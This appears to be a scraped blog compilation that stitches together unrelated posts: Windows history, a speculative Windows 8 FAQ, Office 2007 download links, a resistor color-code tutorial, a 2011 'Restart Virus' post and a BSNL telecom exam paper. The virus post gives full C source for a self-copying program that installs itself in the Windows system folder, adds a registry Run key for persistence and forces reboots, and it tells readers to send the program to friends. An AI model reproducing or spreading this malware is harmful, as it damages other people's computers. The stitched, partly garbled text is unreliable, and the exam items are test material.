For example, windows were only displayed "tiled" on the screen; that is, they could not overlap or overlie one another. There was no trash can icon with which to delete files, since Apple claimed ownership of the rights to that paradigm.

Microsoft Windows version 2 came out on 9 December 1987, and proved slightly more popular than its predecessor. Much of the popularity for Windows 2.0 came by way of its inclusion as a "run-time version" with Microsoft's new graphical applications, Excel and Word for Windows. They could be run from MS-DOS, executing Windows for the duration of their activity, and closing down Windows upon exit.

Microsoft Windows received a major boost around this time when Aldus PageMaker appeared in a Windows version, having previously run only on Macintosh. Some computer historians[who?] date this, the first appearance of a significant and non-Microsoft application for Windows, as the beginning of the success of Windows.

Versions 2.0x used the real-mode memory model, which confined it to a maximum of 1 megabyte of memory. In such a configuration, it could run under another multitasker like DESQview, which used the 286 Protected Mode.

Later, two new versions were released: Windows/286 2.1 and Windows/386 2.1. Like previous versions of Windows, Windows/286 2.1 used the real-mode memory model, but was the first version to support the High Memory Area. Windows/386 2.1 had a protected mode kernel with LIM-standard EMS emulation, the predecessor to XMS which would finally change the topology of IBM PC computing. All Windows and DOS-based applications at the time were real mode, running over the protected mode kernel by using the virtual 8086 mode, which was new with the 80386 processor.

Version 2.03, and later 3.0, faced challenges from Apple over its overlapping windows and other features Apple charged mimicked the ostensibly copyrighted "look and feel" of its operating system and "embodie  and generated a copy of the Macintosh" in its OS. Judge William Schwarzer dropped all but 10 of Apple's 189 claims of copyright infringement, and ruled that most of the remaining 10 were over uncopyrightable ideas.

Windows 8 FAQ

The Windows 8 FAQ has been created by the staff of Windows 8 News to provide visitors with

information about the Windows 8 operating system. The Windows 8 FAQ is updated

continuously as new facts and features emerge.

Although Windows 7 isn’t released until  22nd October 2009, attention is already turning to it’s

replacement Windows 8 which will is expected in 2011/12. Windows 8 News is dedicated to

bringing you all the latest news, rumours, screenshots about the next release of Windows, and

is the sister site to Windows 7 News, the best news source for Windows 7.

Subscribing will ensure you don’t miss out on any updates.

Why is the next Microsoft operating system expected to be called Windows 8?

Microsoft has changed its approach to naming operating systems (e.g XP, Vista) and is using

an internal numbering system and the next Windows operating system, Windows 7, is the 7th

release.  Hence the replacement for Windows 7 is expected to be called Windows 8.

When will Windows 8 be released?

Microsoft normally release a new OS every 3 years, so Windows 8 should be launched in

20011/12, approximately 3 years after Windows 7.

Are there beta or release candidate versions of Windows 8 that can be downloaded

for testing purposes?

Yes.  I’m sure Windows 8 early builds will be spotted on torrents soon.

Remember to check back as this FAQ will be constantly updated.

Now check out the latest Windows 7 News, Windows 7 Screenshots and Windows 7

Videos. There are also Windows 7 Wallpapers and a Windows 7 Theme you can download

for your PC.

 

Microsoft Office 2007 SP2 (Service Pack 2) Official Download Links (for Suites with Language Packs)

As announced by Office Sustained Engineering earlier, Microsoft Office 2007 Service Pack 2 (SP2) final RTM version has been released by Microsoft to general public on schedule. Microsoft Office 2007 SP2 delivers major performance enhancements for Office applications such as Outlook, adds built-in native support for PDF and ODF, improves calendar reliability, fixes significant bug for charts in core Office application and many other improvements. Other than including all public updates, security updates, and hotfixes released through February 2009, SP2 also adds previously unreleased fixes that were made specifically for this service pack.
For those who wants to know more details about the SP2 can read the summary of changes and fixes include in Microsoft Office 2007 SP2. Microsoft has also published a complete list of changes in 2007 Office SP2 in 2007 Office Service Pack 2 Changes.xlsx document.

Microsoft Office 2007 Suite SP2 has the Knowledge Base Article ID of KB953195, and has the file build version of 12.0.6425.1000. The SP2 will update Office Basic 2007, Office Enterprise 2007, Office Home and Student 2007, Office Professional 2007, Office Professional Plus 2007, Office Small Business 2007, Office Small Business Management 2007, Office Standard 2007, Office Ultimate 2007, Office Access 2007, Office Excel 2007, Office InfoPath 2007, Office Outlook 2007, Office PowerPoint 2007, Office Publisher 2007, Office Word 2007, Office OneNote 2007 and Office Groove 2007. Also released is Microsoft Office 2007 Servers SP2.

Download the 2007 Microsoft Office Suite Service Pack 2 (SP2)

http://www.microsoft.com/downloads/details.aspx?FamilyId=B444BF18-79EA-46C6-8A81-9DB49B4AB6E5

Direct Download Link: office2007sp2-kb953195-fullfile-en-us.exe

Download Microsoft Office Language Pack 2007 Service Pack 2 (SP2)

http://www.microsoft.com/downloads/details.aspx?FamilyId=E1203DB2-1CC9-4809-9B6E-3F232CB8899F

Direct Download Link: officelp2007sp2-kb953195-fullfile-en-us.exe

The Service Pack 2 (SP2) is also available for the following standalone Microsoft Office application programs, which are not updated by Microsoft Office 2007 Suite SP2:

Microsoft Office Microsoft Project 2007 SP2 (KB953326)

Direct Download Link: project2007sp2-kb953326-fullfile-en-us.exe

Microsoft Office Microsoft Project Language Pack 2007 SP2

Direct Download Link projectlp2007sp2-kb953326-fullfile-en-us.exe

Microsoft SharePoint Designer 2007 SP2 (KB953292)

Direct Download Link: sharepointdesigner2007sp2-kb953292-fullfile-en-us.exe

Microsoft SharePoint Designer Language Pack 2007 SP2

Direct Download Link: sharepointdesignerlp2007sp2-kb953292-fullfile-en-us.exe

Microsoft Visio 2007 SP2 (KB953327)

Direct Download Link: visio2007sp2-kb953327-fullfile-en-us.exe

Microsoft Visio Language Pack 2007 SP2

Direct Download Link: visiolp2007sp2-kb953327-fullfile-en-us.exe

Microsoft Office Proofing Tools 2007 SP2 (KB953328)

Direct Download Link: office2007-kb953328-fullfile-x86-glb.exe

Microsoft Office Access Runtime and Data Connectivity 2007 SP2 (KB957262)

Direct Download Link: accessruntimeanddataconnectivity2007sp2-kb957262-fullfile-en-us.exe

Calendar Printing Assistant for Microsoft Office Outlook 2007 SP2 (KB953329)

Direct Download Link: cpao2007sp2-kb953329-fullfile-en-us.exe

Microsoft Office InterConnect 2007 SP2 (KB953330)

Direct Download Link: interconnect2007sp2-kb953330-fullfile-ja-jp.exe

Microsoft Office Compatibility Pack SP2 (KB953331)

Direct Download Link: compatibilitypacksp2-kb953331-fullfile-en-us.exe

Excel Viewer 2007 SP2 (KB953336)

Direct Download Link: excelviewer2007sp2-kb953336-fullfile-en-us.exe

PowerPoint Viewer 2007 SP2 (KB953332)

Direct Download Link: powerpointviewer2007sp2-kb953332-fullfile-en-us.exe

Visio Viewer 2007 SP2 (KB953335)

Direct Download Link: visioviewer2007sp2-kb953335-fullfile-en-us.exe

How to Order Windows 7 SP1 DVD Disc Media

 Microsoft has officially released Windows 7 Service Pack 1 RTM comprising the previously released security patches, performance and stability updates. There are a few convenient ways to obtain this service pack via online mode, including direct download from Microsoft Download Center or just allow the Windows Update to take care the service pack installation automatically.

However, if you do not wish to utilize the network bandwidth to download the gigantic service pack build, you can opt to order DVDs that contain the first service pack for Windows 7. In order to cater for the Windows 7 machines that are not connected to the Internet, the Redmond company is providing the DVD to the customers from various countries in North America, South America, Africa, Europe and Asia.


Each customer is eligible to order up to 3 copies of the physical media DVD. Note that the DVD only contains the service pack build and the Windows 7 setup installer is not bundled. In other words, it’s not Windows 7 with SP1 integrated DVD media. Although the product DVD media itself is free of charge, but the shipping and packaging costs apply.
Here’s the direct link to order Windows 7 SP1 RTM DVD:
US/Canada: https://om2.one.microsoft.com/opa/start.om?StoreID=d8f7bc03-a729-4829-88fe-3060615fec1b&LocaleCode=en-us

International: https://om2.one.microsoft.com/opa/start.om?storeid=2D43158F-9EF0-472D-8D70-ECC0E0102782



Direct Download Links for Microsoft Office 2007 Suites and Applications

 

 

ms-office-2007When you try to download any suite, application or edition release Microsoft Office 2007 retail products or Office 2K7 Enterprise edition installer setup file online, you will need to login with your Windows Live ID or Microsoft Passport account, and/or have to fill up profile information such as name, contact address, email address, phone number, company name and other personal details. However, all this order and checkout process to download the setup binaries of Office 2007 is just the requirement to obtain a free trial product key which valid for 60 days to evaluate Office 2007 program that has been downloaded.
If you just need the full standalone setup installer for Microsoft Office 2007 suites such as Office 2007 Enterprise and Office 2007 Professional, or redistributable setup package for individual Microsoft Office 2007 applications such as Office Groove 2007, Office OneNote 2007, Office Publisher 2007 and Office Visio 2007, and do not need the free-of-charge evaluation license or product key, you can skip the sign up step and download directly from Microsoft the full setup files which will install complete features and functionalities that the genuine perpetual purchased versions will get, if you can provide the installed Office program a genuine and legal product key and successfully activate it.

 

Office 2007 Direct Download Link

Color code of Resistance

The 4-band code is used for marking low precision resistors with 5%, 10% and 20% tolerances. Identifying the value will become easy with a little practice, as there are only a few simple rules to remember:
  • The first two bands represent the most significant digits of the resistance value. Colors are assigned to all the numbers between 0 and 9, and the color bands basically translate the numbers into a visible code. Black is 0, brown is 1, red is 2 and so on (see the color code table below). So, for example, if a resistor has brown and red as the first two bands, the most significant digits will be 1 and 2 (12).
  • The third band indicates the multiplier telling you the power of ten to which the two significant digits must be multiplied (or how many zeros to add), using the same assigned value for each color as in the previous step. For example, if this band is red (2), you will multiply it by 102 = 100 (or add 2 zeros). So, for the resistor we used in the previous example, the value would be: 12 x 100 = 1200Ω (1.2kΩ).
    Note: If the multiplier band is gold or silver, the decimal point is moved to the left by one or two places (divided by 10 or 100).
  • The tolerance band (the deviation from the specified value) is next, usually spaced away from the others, or it's a little bit wider. A color is assigned to each tolerance: gold is 5%, silver is 10%. 20% resistors have only 3 color bands - the tolerance band is missing.

image

So, for a 560 ohm, 5% resistor the color stripes will be green, blue, brown and gold. Green and blue are the first significant digits (56); brown is the multiplier (101 = 10) and gold is the tolerance (5%). 56 x 10 = 560Ω.
If the 3rd band would be red instead of brown, the multiplier would be (102 = 100) instead of 10 and the resistor value would be 56 x 100 = 5600 ohms = 5.6 k ohms.
If the multiplier band is gold or silver, then the decimal point is moved to the left one or two places (divided by 10 or 100). For example, a resistor with green, blue, silver and gold rings has a value of 56 x 0.01 = 0.56Ω.
The 5-band code
The 5 band code is used for marking high quality, precision resistors with 2%, 1% or lower tolerances. The rules are similar to the previous system; the only difference is the number of digit bands. The first 3 bands will represent the value, the 4th band will be the multiplier and the 5th stripe will give us the tolerance.
Optional band
A few resistors have an additional band - often giving beginners a bit of trouble - indicating either the reliability or the temperature coefficient.
The reliability band specifies the failure rate per 1000 hours (assuming that a full wattage being applied to the resistor). This stripe is found primarily on 4-band resistors made for military applications and seldom used in commercial electronics.
The temperature coefficient is more commonly marked, especially on quality 5-band resistors, as it starts to become an important factor for precision components. For a resistor with temperature coefficient of 200 ppm, for example, a change in temperature of 50°C causes a value change of 1%. The most common values for this band are presented in the color chart above.
Examples:
Four band code:
5k6_resistor Green, blue, red, with silver tolerance band: 56 x 100 = 5.6 kohms, with a tolerance of 10%


10k_resistor Brown, black, orange, gold tolerance band: 10 x 1000 = 10000 ohms (or 10K ohms), with a tolerance of 5%

220_ohm_resistor Red, red, brown, silver tolerance band: 22 x 10 = 220 ohms (220 ohms), with a tolerance of 10%

More 4 band resistor color code examples: E12 and E24 series.
Five band code:
6k19_resistor Blue, brown, white, brown, red tolerance band: 619 x 10 = 6190 ohms (6.19K ohms), with a tolerance of 2%

221_prec_resistor Red, red, brown, black, with a brown tolerance band: 221 x 1 = 221 ohms, with a tolerance of 1%

10k0_resistor Brown, black, black, red, with a brown tolerance band: 100 x 100 = 10000 ohms (10.0K), with a tolerance of 1%
Standard EIA Decade Resistor Values
Resistors are available in standard values such as 1K, 2.2K, 4.7K, and so on. The two most common standards are the E12 and E24. You will notice that in the E12 series each succeeding value falls within +/- 10% of the previous value. The E24 range includes all of the E12 values, plus a further 12 to enable the selection of more precise resistances.
The E6 (20%) range is a subset of the E12 (10%) range and the E12 range is a subset of the E24 (5%) range. Similarly, the E48 (2%) range is a subset of the E96 (1%) range and the E96 range is a subset of the E192 (0.5% or less) range. Note, that the E24 range is technically also a subset of the E48 range, however, because of the different number of digits used for representation and rounding errors, the corresponding values in the two series do not match.
E6 series: (20% tolerance)
10, 15, 22, 33, 47, 68
E12 series: (10% tolerance)10, 12, 15, 18, 22, 27, 33, 39, 47, 56, 68, 82
E24 series: (5% tolerance) 10, 11, 12, 13, 15, 16, 18, 20, 22, 24, 27, 30, 33, 36, 39, 43, 47, 51, 56, 62, 68, 75, 82, 91
E48 series: (2% tolerance) 100, 105, 110, 115, 121, 127, 133, 140, 147, 154, 162, 169, 178, 187, 196, 205, 215, 226, 237, 249, 261, 274, 287, 301, 316, 332, 348, 365, 383, 402, 422, 442, 464, 487, 511, 536, 562, 590, 619, 649, 681, 715, 750, 787, 825, 866, 909, 953
E96 series: (1% tolerance)
100, 102, 105, 107, 110, 113, 115, 118, 121, 124, 127, 130, 133, 137, 140, 143, 147, 150, 154, 158, 162, 165, 169, 174, 178, 182, 187, 191, 196, 200, 205, 210, 215, 221, 226, 232, 237, 243, 249, 255, 261, 267, 274, 280, 287, 294, 301, 309, 316, 324, 332, 340, 348, 357, 365, 374, 383, 392, 402, 412, 422, 432, 442, 453, 464, 475, 487, 491, 511, 523, 536, 549, 562, 576, 590, 604, 619, 634, 649, 665, 681, 698, 715, 732, 750, 768, 787, 806, 825, 845, 866, 887, 909, 931, 959, 976

Thursday, February 24, 2011

Restart Virus In “C” language

 

Here is a C programming in C language which restarts Your Computer Whenever You Try

to turn on Your computer.

Write this programming in a Compiler (like Turbo C) and Compile that.

Don't run the programme because this will infect your machine.

After Compiling copy the created .exe file and send it to your friends.

program code is here:-

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}

BSNL TTA Question Paper: Communication Specialization 2007

Exam Name:

TTA (Telecom Technical Assistant)

Specialization:

Section B - Communication

Conducted By:

BSNL (Bharat Sanchar Nigam Limited)

Conducted In:

December 2007

Number of Questions:

50

Maximum Marks:

250

Time Allowed:

90 Minutes

Negative Marking:

Yes

Type of Questions:

Objective Type (Multiple Choice)

SECTION: B Communication

(1) The most common modulation system used for telegraphy is

(a) FSK

(b) PSK.

(c) PCM

(d) single tone modulation

(e) Two tone modulation

(2)VSB is an abbreviation of vestigal sideband, is derived by filtering

(a) DSB

(b) AM

(c) either (a) or (b)

(d) PM

(3) The Hartely law states that

(a) The maximum rate of information transmission depends on the depth of modulation

(b) The maximum rate of information depends on the channel bandwidth.

(c) Only binary codes may be used

(d) Redundancy is essential

(4) The FM signal with, a modulation index mf is passed through a frequency tripler. The wave in the output of the tripler will have a modulation index of

(a) mf/9

(b) mf/3

(c) mf

(d) 3 mf

(e) 9mf

(5) In high power AM transmission, modulation is done at

(a) Buffer stage

(b) Oscillator stage

(c) RF power stage

(d) If stage

(6) Companding is used

(a) In delta modulator to combat noise

(b) To limit amplitude in PCM transmitters.

(c) In PWM for working it with TDM

(d) To protect small signals in PCM from quantizing distortion

(e) In PCM to reduce the SNR

(7) In PCM system the SNR of the output signal increases

(a) Inversely with bandwidth

(b) Exponential with bandwidth

(c) With rate of sampling

(d) At low frequencies only

(8) Armstrong modulator generates

(a) Phase modulated signal

(b) Frequency modulated signal

(c) Both of these

(d) Pulse code modulated signal

(e) AM and PCM signals

(9) A Klystron is a cavity acting as buncher and catcher is used as microwave tube for

(a) Guiding waves

(b) Velocity modulation

(c) frequency modulation

(d) impedance matching

(e) All of these

(10) Easily adjustable tuning component in a waveguide is

(a) plunger

(b) plunger and stub

(c) screw

(d) both (a) and (c)

(e) both (b) and (c)

(11) A ferrite is

(a) A non-conductor with magnetic properties

(b) A conductor with magnetic properties

(c) A semiconductors

(d) An insulator which attenuates magnetic fields

(e) A compound with good conductivity.

(12) Vacuum tubes eventually fail at microwave frequencies because of their

(a) Inter electrode capacitance

(b) Small series inductance

(c) Large shunt capacitance

(d) Short transit time

(e) Increased noise figure

(13) The biggest disadvantage the IMP ATT diode has is its

(a) Low Efficiency

(b) high noise

(c) Low BW

(d) inability to provide pulse operation

(e) low power handling ability

(14) In AM transmission the frequency, which is not transmitted is

(a) carrier frequency

(b) audio frequency

(c) upper side frequency

(d) lower side frequency

(15) FM broadcast band lies in

(a) VHF

(b) UHF

(c) SHF

(d) HF

(16) Automatic gain control is used

(a) to maintain the tuning correct

(b) to reduce the voltage of loud passage of music

(c) to maintain the same amount of output, when stations of different strength are received

(d) to increase the amplification at high frequencies

(17) The modulation system inherently is most noise resistant in

(a) SSB suppressed carrier

(b) FM

(c) PPM

(d) PCM

(18) In practical waveguide act as

(a) low pass filter

(b) high pass filter

(c)band pass filter

(d)band stop filter

(19) The antenna efficiencies achieved in practice depend upon

(a) wave length

(b) impedance

(c) frequency

(d) none of above

(20) The process of compressing the digital codes at the transmitter and then expanding them back to their original form at receiver is known as

(a) Quantizing

(b) companding

(c) step sizing

(d) modulation

(21) Digital transmission efficiency is given by

(a) information bits/total bits

(b) total bits/information bits

(c) redundant bits/information bits

(d) none of the above

(22) The speed of BRI ISDN interface is

(a) 2B + D

(b) 2D + B

(c) 30B + D

(d) 30D + B

(23) Which of the following is not a microwave generation source?

(a) Klystron

(b) Magnetron

(c) TWT

(d) Diode

(24) A signal of maximum frequency of 1 KHz is sampled at Nyquist Rate. The interval between two successive samples is:

(a) 50 micro seconds

(b) 100 micro seconds

(c) 500 micro seconds

(d) 1000 micro seconds

(25) In order to get back the original signal, it is necessary to use:

(a) low pass filter

(b) high pass filter

(c) band pass filter

(d) band reject filter

(26) Man made noise id caused by:

(a) Solar eruptions

(b) Distant Stars

(c) Lightning Discharges

(d) Arc discharge in electric machines

(27) At microwave frequencies, the size of antenna becomes

(a) very large

(b) large

(c) small

(d) very small

(28) Due to curvature of earth, microwave repeaters are placed at distance of about

(a) l0 Km

(b) 50 Km

(c) 200 Km

(d) 500 Km

(29) For handling large microwave power, the best medium is

(a) coaxial line

(b) rectangular waveguide

(c) stripline

(d) circular wave guide

(30) An attenuator is used with TWT to

(a) prevent oscillations

(b) increase gain

(c) prevent saturation

(d) help bunching

(3l) TWT is basically

(a) an oscillator

(b) tuned amplifier

(c) wideband amplifier

(d) an audio amplifier

(32) The negative resistance in Gunn diode is due to

(a) electron transfer to a less mobile energy level

(b) high reverse bias

(c) electron domain formation at the junction

(d) tunneling across the junction

(33) Which of the following sinusoidal oscillator is preferred for microwave frequencies?

(a) resonant circuit oscillator

(b) RC phase shift oscillators

(c) negative resistance oscillators

(d) all of the above

(34) When electromagnetic waves are propagated in a waveguide

(a) they travel along the walls of the waveguide

(b) they travel through the dielectric without touching the walls

(c) they are reflected from the walls but do not travel along the walls

(d) none of above

(35) Wave guides are generally made of

(a) Cast iron or steel

(b) White metal or gun metal

(c) bronze or aluminium

(d) plastic or bakelite

(36) The cut off frequency of a wave guide means

(a) lower frequencies will not be propagated

(b) it determines the dimensions of the wave guide

(c) frequency at which zero transmission takes place

(d) None of above

(37) In case of matched load

(a) Transmission is zero

(b) reflection is zero

(c) reflection is unity

(d) transmission is equivalent to reflection

(38) In an AM wave with 100% modulation, the carrier is suppressed. The percentage of power saving will be

(a) 100%

(b) 50%

(c) 25%

(d) 66.7%

(39) The function of AM detector circuit is

(a) to rectify the input signal

(b) to discard the carrier

(c) to provide the audio signal

(d) All of the above

(40) In FM, the noise can be further decreased by

(a) decreasing deviation

(b) increasuig deviation

(c) keeping deviation constant

(d) none of these

(41) In PPM, message resides in

(a) Pulses

(b) time location of pulse edges

(c) none of these

(42) Which of the following pulse systems is preferred for communication in presence of noise?

(a) PAM

(b) PDM

(c) PPM

(d) none of above

(43) Which of the following pulse systems requires higher bandwidth

(a) PAM

(b)PDM

(c)PPM

(d)none of these

(44) The audio frequency range lies between

(a) 20 to 20,000 Hz

(b) 20 to 20,000 KHz

(c) 400 to 8,000Hz

(d) 500 to 5,000 Hz

(45) Maximum undistorted power output of a transmitter is obtained when its modulation is:

(a) more than 100%

(b) 100%

(c) less than 100%

(d) 50%

(46) The AGC voltage in a radio receiver is proportional to

(a) the amount of modulation

(b) the amplitude of audio signal

(c) the amplitude of IF carrier

(d) none of these

(47) An FM transmitter has maximum frequency deviation of 75 KHz and reproduces audio signal up to 15 KHz. Minimum channel width required, in KHz is

(a) 180

(b) 120

(c) 90

(d) 60

(48) With 100% modulation, ratio of side band power to total power transmitted in an amplitude modulated wave is

(a) 2/3

(b) l/3

(c) l/2

(d) l/4

(49) To increase the Q factor of an induction, it wound with

(a)  thicker wire

(b) thinner wire

(c) longer wire

(d) wire with heavy insulation

(50) Power factor of a purely resistive circuit is:

(a) zero

(b) one

(c) 0.5

(d) infinity